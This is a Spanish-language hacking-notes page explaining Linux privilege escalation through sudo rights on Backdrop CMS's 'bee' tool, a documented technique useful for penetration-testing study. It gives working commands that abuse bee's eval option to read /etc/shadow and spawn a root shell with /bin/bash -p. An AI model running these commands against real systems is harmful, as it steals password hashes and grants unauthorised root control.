> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md).

# Sudo binario bee - escalada de privilegios en Linux

## Qué es

La escalada de privilegios en sudoers comienza con los comandos que un usuario puede ejecutar mediante `sudo`. Los binarios mal configurados, los argumentos de scripts inseguros, el manejo de enlaces simbólicos y las versiones vulnerables de sudo pueden convertir permisos limitados de sudo en una shell de root. Esta página en particular se centra en **Sudo (binario Bee)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
sudo -l
sudo --version
```

## Ejemplos

### **Escalada de privilegios con el binario Bee**

Comprobamos los privilegios de sudo:

```bash
sudo -l
```

Podemos ejecutar **/usr/local/bin/bee** como root.

<figure><img src="/files/7192f8a426704aebc8e5f5810b1b53e27c718994" alt=""><figcaption></figcaption></figure>

**Análisis de Bee**

{% hint style="info" %}
Bee es una herramienta de administración para **Backdrop CMS**, similar a **Drush** para Drupal. Permite la ejecución de varios comandos.
{% endhint %}

`Uso: bee [global-options] [options] [arguments]`

<figure><img src="/files/f1cf213af5e8eecbd9c7db180e2d590fb5534835" alt=""><figcaption></figcaption></figure>

Identificamos la opción **eval** opción, que permite la ejecución de código PHP arbitrario.

<figure><img src="/files/7c581aa13e1f846434aca72d11b81a9a8c35ca0a" alt=""><figcaption></figcaption></figure>

**Leer /etc/shadow**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/4765621d113f7743de90b769efba03c04f3d7cb7" alt=""><figcaption></figcaption></figure>

**Shell de root obtenida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/c032ae571fceb69bf8c49b321e120b6fbbd4e410" alt=""><figcaption></figcaption></figure>


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